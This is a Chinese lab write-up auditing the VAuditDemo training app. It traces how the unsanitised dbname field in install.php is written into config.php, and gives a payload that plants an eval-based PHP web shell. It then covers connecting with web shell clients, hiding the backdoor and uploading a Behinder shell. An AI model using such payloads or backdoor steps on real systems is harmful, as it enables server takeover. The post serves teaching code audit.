VAuditDemo安装漏洞

news2024/11/27 8:41:11

目录

VAuditDemo安装漏洞

index.php

header.php

config.php

lib.php

install.php

分析结果

漏洞利用

第一步:删除install.lock文件,访问 install.php 抓包

第二步:通过审计构造payload

第三步:修改抓包请求内容,写入payload

第四步:菜刀链接


VAuditDemo安装漏洞

第一步访问首页http://192.168.230.188:82/

image-20240818214416624

这个应该就是默认首页,尝试访问http://192.168.230.188:82/index.php

image-20240818214620679

果然,依旧是这个界面,我们进入源代码,开始审计分析

index.php

 <?php 
 require_once('sys/config.php');
 require_once('header.php');
 ?>
 <div class="row">
     <?php
     /* Include */
     if (isset($_GET['module'])){
         include($_GET['module'].'.inc');
     }else{
     ?>
     <div class="jumbotron" style="text-align: center;">
         <h1><b>VAuditDemo</b></h1>
         <p>一个简单的Web漏洞演练平台</p><br />
     </div>
     <div class="col-lg-12">
         <h2>用於演示講解PHP基本漏洞</h2>
         <p></p>
     </div>
     <?php
     }
     ?>
 </div>
         
 <?php
 require_once('footer.php');
 ?>

首先包含了 sys/config.php 和 header.php两个文件 在下方 通过可控参数又包含了一个 $_GET['module'].'.inc' 文件 ,一共存在三次文件包含,并且第三个文件包含存在用户可控参数 module ,有可能存在文件包含漏洞

header.php

 ​

这个文件内容除了html标签就是SESSION变量,不存在可疑点

config.php

 <?php
 ​
 // error_reporting(0);
 // 如果 $_SERVER["DOCUMENT_ROOT"].'/sys/install.lock' 文件不存在就跳转到安装页面
 if (!file_exists($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock')){
     header("Location: /install/install.php");
 exit;
 }
 ​
 include_once('lib.php');  //config.php 和 lib.php 属于同级
 ​
 $host="localhost"; 
 $username="root"; 
 $password="p-0p-0p-0"; 
 $database="vauditdemo"; 
 ​
 $conn = mysql_connect($host,$username,$password);
 mysql_query('set names utf8',$conn);
 mysql_select_db($database, $conn) or die(mysql_error());
 if (!$conn)
 {
     die('Could not connect: ' . mysql_error());
     exit;
 }
 session_start();
 ?>

其中又包含了 lib.php 这个文件 这里除了 $_SERVER["DOCUMENT_ROOT"] 没有其他参数是可变的了,我们再去看看包含的 lib.php

lib.php

 if( !get_magic_quotes_gpc() ) {
     $_GET = sec ( $_GET );
     $_POST = sec ( $_POST );
     $_COOKIE = sec ( $_COOKIE ); 
 }
 $_SERVER = sec ( $_SERVER );
 ​
 function sec( &$array ) {
     if ( is_array( $array ) ) {
         foreach ( $array as $k => $v ) {
             $array [$k] = sec ( $v );
         }
     } else if ( is_string( $array ) ) {
         $array = addslashes( $array );
     } else if ( is_numeric( $array ) ) {
         $array = intval( $array );
     }
     return $array;
 }
 ​
 function sqlwaf( $str ) {
 .......
 }
 ​
 function clean_input( $dirty ) {
     return mysql_real_escape_string( stripslashes( $dirty ) );
 }
 ​

其中对SQL注入做了极强的防范,同时对POST请求中的参数也做了预防

该文件中除了 下面几句代码直接调用了,其余的都是函数,并且函数都是对输入的内容和POST传入的参数做预防,比如转义,waf等等

 date_default_timezone_set('UTC');
 ​
 if( !get_magic_quotes_gpc() ) {
     $_GET = sec ( $_GET );
     $_POST = sec ( $_POST );
     $_COOKIE = sec ( $_COOKIE ); 
 }
 $_SERVER = sec ( $_SERVER );

除了这个函数

 function is_pic( $file_name ) {
     $extend =explode( "." , $file_name );
     $va=count( $extend )-1;
     if ( $extend[$va]=='jpg' || $extend[$va]=='jpeg' || $extend[$va]=='png' ) {
         return 1;
     }
     else
         return 0;
 }

单单只是校验了文件名的后缀,我觉得可能存在文件上传绕过的可能性

install.php

 if ( file_exists($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock') ) {
     header( "Location: ../index.php" );
 }
 require_once '../header.php';

这是install.php 文件的开头 如果该文件存在,则跳转到默认首页,但是如果文件不存在呢?根据代码的分析,如果if判断中的文件不存在,那么就不会跳转页面到默认首页,然后包含 header.php 并运行下面的所有代码

 if (!file_exists($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock')){
     header("Location: /install/install.php");
 exit;
 }
 ​
 include_once('lib.php');  //config.php 和 lib.php 属于同级

这是 config.php 文件的开头 如果 该文件不存在则跳转页面进行安装

可以发现,二者的区别除了判断文件是否存在之外,config.php 文件中多了 exit; 这句代码,这句代码的问题所在是什么呢,有与没有的的区别是什么呢?

通过代码调试可以得知,如果二者判断都成立,那么 config.php 则跳转页面并结束后面的代码,但是 install.php 就不一样了,不跳转页面,同时运行剩下的所有代码

既然这样,继续分析 install.php 文件的剩余代码,主要寻找用户可控参数

 if ( $_POST ) {
 ​
     if ( $_POST["dbhost"] == "" ) {
         exit( '数据库连接地址不能为空' );
     }elseif ( $_POST["dbuser"] == "" ) {
         exit( '数据库数据库登录名' );
     }elseif ( $_POST["dbname"] == "" ) {
         exit( '请先创建数据库名称' );
     }
 ​
     $dbhost = $_POST["dbhost"];
     $dbuser = $_POST["dbuser"];
     $dbpass = $_POST["dbpass"];
     $dbname = $_POST["dbname"];
 ​
     $con = mysql_connect( $dbhost, $dbuser, $dbpass );
     if ( !$con ) {
         die( '数据库链接出错,请检查账号密码及地址是否正确: ' . mysql_error() );
     }
 ​
     $result = mysql_query('show databases;') or die ( mysql_error() );;
     While($row = mysql_fetch_assoc($result)){       
         $data[] = $row['Database'];
     }
     unset($result, $row);
     if (in_array(strtolower($dbname), $data)){
         mysql_close();
         echo "<script>if(!alert('數據庫已存在')){window.history.back(-1);}</script>";
         exit();
     }
 ​
     mysql_query( "CREATE DATABASE $dbname", $con ) or die ( mysql_error() );

可以发现,对于POST请求的内容,除了判断是否为空,其余的并未做任何校验,同时 $dbname 竟然还作为 SQL 语句中的一部分,这绝对可以说是一个漏洞了

继续向下看,最后的 footer.php 文件,和最开始的 header.php 文件一样,都是html元素标签等等,不存在可疑点

 $str_tmp="<?php\r\n";
 $str_end="?>";
 $str_tmp.="\r\n";
 $str_tmp.="error_reporting(0);\r\n";
 $str_tmp.="\r\n";
 $str_tmp.="if (!file_exists(\$_SERVER[\"DOCUMENT_ROOT\"].'/sys/install.lock')){\r\n\theader(\"Location: /install/install.php\");\r\nexit;\r\n}\r\n";
 $str_tmp.="\r\n";
 $str_tmp.="include_once('../sys/lib.php');\r\n";
 $str_tmp.="\r\n";
 $str_tmp.="\$host=\"$dbhost\"; \r\n";
 $str_tmp.="\$username=\"$dbuser\"; \r\n";
 $str_tmp.="\$password=\"$dbpass\"; \r\n";
 $str_tmp.="\$database=\"$dbname\"; \r\n";
 $str_tmp.="\r\n";
 $str_tmp.="\$conn = mysql_connect(\$host,\$username,\$password);\r\n";
 $str_tmp.="mysql_query('set names utf8',\$conn);\r\n";
 $str_tmp.="mysql_select_db(\$database, \$conn) or die(mysql_error());\r\n";
 $str_tmp.="if (!\$conn)\r\n";
 $str_tmp.="{\r\n";
 $str_tmp.="\tdie('Could not connect: ' . mysql_error());\r\n";
 $str_tmp.="\texit;\r\n";
 $str_tmp.="}\r\n";
 $str_tmp.="\r\n";
 $str_tmp.="session_start();\r\n";
 $str_tmp.="\r\n";
 $str_tmp.=$str_end;
 ​
 $fp=fopen( "../sys/config.php", "w" );
 fwrite( $fp, $str_tmp );
 fclose( $fp );
 ​
 ​
 ​
 <?php
 require_once '../footer.php';
 ?>

但是,我们可以看到,代码会将用户可控的参数拼接后写入 config.php 文件

我们再看看,是将什么样的内容写进了 config.php ,原来 整个 config.php 文件的内容都是这样生成的,那么就说得通了 而且 config.php 还是具有可写权限的,并且 config.php 中部分内容是由用户控制的

分析结果

  • 用户首次访问先访问 index.php ,由于该文件包含了 config.php 和 header.php 所以,也会第一时间执行这两个文件

  • 对于 config.php 文件来说,由于并不存在 install.lock 文件,所以访问的第一时间又会跳转到 install.php

  • 而在install.php 文件中,存在四个用户可控参数,并且第四个参数作为SQL语句执行,最终将执行的结果写入 config.php ,config.php 文件的内容也是由此而来

基于上面的分析,可以得出结论,用户在安装时,会通过 POST 提交内容,内容分别是 $dbhost $dbuser $dbpass $dbname 四个值,并且 $dbhost $dbuser $dbpass 这三个值是作为连接数据库时使用的 ,而 $dbname 值,作为SQL语句执行的一部分

所以可以得出结论,安装过程中,$dbname 值,存在php代码注入漏洞,与 config.php 文件相结合,有木马写入的漏洞

漏洞利用

代码分析发现,一切的问题开始是判断 install.lock 文件是否存在,在 install.php 文件中 只有 install.lock 文件不存在的时候 才不会进行跳转,否则 该文件存在 ,用户一访问 install.php 给出的响应中有 header( "Location: ../index.php" ); 浏览器解析响应后一看就会跳转,即使后面代码可以执行,前端也是无法显示后面的代码的,自然也就无法利用了。有些人可能会想,那前端页面无法访问,可以抓包啊,事实上一旦 浏览器解析到 Location 就直接跳转了,哪还来的 install.php 页面,哪来的 POST 提交正文

image-20240818224119750

image-20240818224134802

第一步:删除install.lock文件,访问 install.php 抓包

先访问到这个页面

image-20240818224526073

然后点击安装,同时开启抓包

image-20240818224619974

第二步:通过审计构造payload

install.php

 if ( $_POST ) {
 ​
     if ( $_POST["dbhost"] == "" ) {
         exit( '数据库连接地址不能为空' );
     }elseif ( $_POST["dbuser"] == "" ) {
         exit( '数据库数据库登录名' );
     }elseif ( $_POST["dbname"] == "" ) {
         exit( '请先创建数据库名称' );
     }
 ​
     $dbhost = $_POST["dbhost"];
     $dbuser = $_POST["dbuser"];
     $dbpass = $_POST["dbpass"];
     $dbname = $_POST["dbname"];
 ​
     $con = mysql_connect( $dbhost, $dbuser, $dbpass );
     if ( !$con ) {
         die( '数据库链接出错,请检查账号密码及地址是否正确: ' . mysql_error() );
     }
 ​
     $result = mysql_query('show databases;') or die ( mysql_error() );;
     While($row = mysql_fetch_assoc($result)){       
         $data[] = $row['Database'];
     }
     unset($result, $row);
     if (in_array(strtolower($dbname), $data)){
         mysql_close();
         echo "<script>if(!alert('數據庫已存在')){window.history.back(-1);}</script>";
         exit();
     }
 ​
     mysql_query( "CREATE DATABASE $dbname", $con ) or die ( mysql_error() );

config.php

 $database="$dbname"; 

那么就存在两点

  • CREATE DATABASE $dbname 这句话必须执行成功,不能报错,报错就die

  • $database="$dbname"; 这句话也不能报错,需要满足php语法

 "CREATE DATABASE $dbname" -> $database="$dbname";
 "CREATE DATABASE vauditdemo2" -> $database="vauditdemo2";
 "CREATE DATABASE vauditdemo2-- ";" -> $database="vauditdemo2-- ";";
 "CREATE DATABASE vauditdemo2-- ";@eval($_POST[a]);//" -> $database="vauditdemo2-- ";@eval($_POST[a]);//";

还是不放心,用navicat测试一下 CREATE DATABASE vauditdemo2-- ";@eval($_POST[a]);

image-20240818231359886

SQL语句执行成功,创建数据库vauditdemo2。再分析一下 $database="vauditdemo2-- ";@eval($_POST[a]);//"; 这句代码是否存在php语法错误(双引号都闭合,分号完全,多余部分已被注释),成了!

至于 $_POST[a] 中的 a 为什么没有再加单引号和双引号,是因为怕被过滤或者报错啥的,当然,不加引号也是可以正常执行的。

第三步:修改抓包请求内容,写入payload

image-20240818232033915

发送之后,查看响应,没有报错,去访问系统

image-20240818232141899

查看index.php包含config.php,查看config.php发现

image-20240818232228137

然后访问系统,并POST提交参数a,成功。

注意参数a传递时,由于 eval() 函数是直接执行代码,而php的代码必须要有 ; ,所以传参时也需要带分号。

image-20240818232447027

第四步:菜刀链接

image-20240818232710098

链接成功,隐藏木马,并修改数据库名称为原来的。

image-20240818232930823

image-20240818232910219

重新隐藏木马,并重新建立连接

image-20240818233309004

image-20240818233329726

上传冰蝎马,并使用冰蝎链接(冰蝎马默认链接密码是rebeyond)

image-20240818233653569

image-20240818233631891

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2060740.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

客户分级管理系统设计与实现(源码+lw+部署文档+讲解等)

文章目录 前言具体实现截图详细视频演示为什么选择我官方认证闲鱼玩家&#xff0c;服务很多代码文档&#xff0c;百分百好评&#xff0c;战绩可查&#xff01;&#xff01;入职于互联网大厂&#xff0c;可以交流&#xff0c;共同进步。有保障的售后 代码参考数据库参考源码获取…

《python语言程序设计》2018版第7章第10题设计一个名为time的类,包括hour minute second

#main代码段 def main():a int(time.time())total_second int(a)current_second total_second % 60total_minutes total_second // 60current_minute total_minutes % 60total_hours total_minutes // 60current_hour total_hours % 24b exCode07.Time(current_hour,cu…

SpringBoot中生成二维码的案例实战

❃博主首页 &#xff1a; 「码到三十五」 &#xff0c;同名公众号 :「码到三十五」&#xff0c;wx号 : 「liwu0213」 ☠博主专栏 &#xff1a; <mysql高手> <elasticsearch高手> <源码解读> <java核心> <面试攻关> ♝博主的话 &#xff1a…

基于数据复杂度的数据库选型

数据模型的选择对于 IT 系统的开发至关重要&#xff0c;它不仅决定了数据存储和处理的方式&#xff0c;影响系统的性能、扩展性以及维护性等。本质上来说&#xff0c;不同的数据模型反映了我们对业务问题的不同思考和抽象程度。 今天我们从不同数据模型对于复杂数据和关系的支…

定制化三防平板:为专业领域打造的坚固解决方案

在科技时代&#xff0c;移动设备已经成为各行各业不可或缺的工具。然而&#xff0c;对于一些特殊行业&#xff0c;如军事、野外勘探、物流、医疗和制造业等&#xff0c;普通商用平板往往无法满足其严苛的工作环境需求。三防平板&#xff0c;以其卓越的防护性能和高度的定制化能…

有了这4款工具,你就知道电脑怎么录屏了!

电脑屏幕录屏这个问题很多人都会碰到&#xff0c;比如教学视频录制&#xff0c;游戏技巧分享&#xff0c;软件操作演示等等。因为场景众多&#xff0c;电脑自带的录屏功能不一定能满足&#xff0c;所以借助第三方工具是一个很有效的办法。如果大家不知道如何录屏&#xff0c;可…

网络安全-安全策略初认识

文章目录 前言理论介绍1. 安全策略1.1 定义&#xff1a;1.2 关键术语&#xff1a; 2. 防火墙状态监测 实战步骤1&#xff1a;实验环境搭建步骤2&#xff1a;配置实现 总结1. 默认安全策略2. 自定义安全策略3. 防火墙状态会话表 前言 who&#xff1a;本文主要写给入门防火墙的技…

【Vue3】集成 Ant Design Vue

【Vue3】集成 Ant Design Vue 背景简介开发环境开发步骤及源码总结 背景 随着年龄的增长&#xff0c;很多曾经烂熟于心的技术原理已被岁月摩擦得愈发模糊起来&#xff0c;技术出身的人总是很难放下一些执念&#xff0c;遂将这些知识整理成文&#xff0c;以纪念曾经努力学习奋斗…

SX_gitlab可视化操作c语言知识_17

gitlab可视化操作技巧: Merge into current branch直接将远程wjc_GNSS分支的数据拉下来同步到本机当前的分支代码&#xff0c;执行的是合并操作&#xff0c;即多的模块会添加到本地分支&#xff0c;有冲突的地方不行得rebase覆盖才行 修改完代码先暂存更改再在暂存区写入备注&a…

特斯拉FSD硬件进化

特斯拉FSD硬件进化 历经十年&#xff0c;特斯拉自动驾驶软硬件系统不断进化。硬件&#xff1a;HW1.0 到 HW4.0&#xff0c;自研比例与配置性能不断提升。 2013 年&#xff0c;马斯克于推特披露特斯拉正在进行辅助驾驶系统 AP&#xff08;Autopilot System&#xff09;的研发&…

鸿蒙(API 12 Beta3版)【使用ImageSource完成图片解码】图片开发指导

图片解码指将所支持格式的存档图片解码成统一的[PixelMap]&#xff0c;以便在应用或系统中进行图片显示或[图片处理]。当前支持的存档图片格式包括JPEG、PNG、GIF、WebP、BMP、SVG、ICO、DNG。 开发步骤 全局导入Image模块。 import { image } from kit.ImageKit;获取图片。…

Compose知识分享

前言 “Jetpack Compose 是一个适用于 Android 的新式声明性界面工具包。Compose 提供声明性 API&#xff0c;让您可在不以命令方式改变前端视图的情况下呈现应用界面&#xff0c;从而使编写和维护应用界面变得更加容易。” 以上是Compose官网中对于Compose这套全新的Androi…

MidJourney付费失败的原因以及失败后如何取消或续订(文末附MidJourney,GPT-4o教程)

MidJourney付费失败的原因 MidJourney付费失败的原因可能包括支付方式无效、支付信息错误、网络问题、账户设置问题等。 ‌支付方式无效或信息错误‌&#xff1a;如果用户提供的支付方式&#xff08;如信用卡&#xff09;信息不正确&#xff0c;或者支付方式本身不支持该地区…

Python使用matplotlib计算并绘制图像的直方图

除了使用OpenCV计算图像直方图外&#xff0c;matplotlib也提供了直方图计算并绘制功能&#xff0c;只需要把图像&#xff08;或对应通道&#xff09;作为参数输入&#xff0c;即可通过matplotlib输出直方图&#xff08;标准直方图&#xff0c;非条形图表达&#xff09;&#xf…

LVS负载均衡群集-DR模式

一、负载均衡群集 1.数据包流向分析 客户端发送请求到 Director Server&#xff08;负载均衡器&#xff09;&#xff0c;请求的数据报文&#xff08;源 IP 是 CIP,目标 IP 是 VIP&#xff09;到达内核空间。Director Server 和 Real Server 在同一个网络中&#xff0c;数据通过…

MKS MWH-5匹配器Automatc matching impedance Network手侧

MKS MWH-5匹配器Automatc matching impedance Network手侧

Golang基础语法学习与速成

作者&#xff1a;CSDN-PleaSure乐事 欢迎大家阅读我的博客 希望大家喜欢 目录 1.golang介绍 1.1介绍 1.2优势 2.语法 2.1控制台输出 2.2算术运算符 2.3变量常量 2.4for循环 2.5if语句 2.6switch语句 2.7作用域 2.8浮点数和零值 2.8.1浮点数 2.8.2零值 2.9格式化…

【鸿蒙学习】HarmonyOS应用开发者高级认证 - 自由流转

学完时间&#xff1a;2024年8月21日 学完排名&#xff1a;第2253名 一、基本概念 1. 流转 在HarmonyOS中&#xff0c;将跨多设备的分布式操作统称为流转。流转能力打破设备界限&#xff0c;多设备联动&#xff0c;使用户应用程序可分可合、可流转&#xff0c;实现如邮件跨设…

【时时三省】(C语言基础)指针进阶

山不在高&#xff0c;有仙则名。水不在深&#xff0c;有龙则灵。 ----CSDN 时时三省 指针的概念 1 .指针就是个变量&#xff0c;用来存放地址&#xff0c;地址唯一标识一块内存空间。 2 .指针的大小是固定的4 /8个字节(32位平台/64位平台)。 3 .指针是有类型&#xff0c;指…

蓝队技能-应急响应篇挖矿病毒系统样本家族威胁情报异常定性排查分析处置封锁

知识点 1、应急响应-挖矿病毒-定性&排查 2、应急响应-挖矿病毒-应急&处置演示案例-蓝队技能-挖矿病毒-样本&定性&排查&应急&处置 挖矿病毒 随着虚拟货币的疯狂炒作&#xff0c;挖矿病毒已经成为不法分子利用最为频繁的攻击方式之一。 可以利用个人电…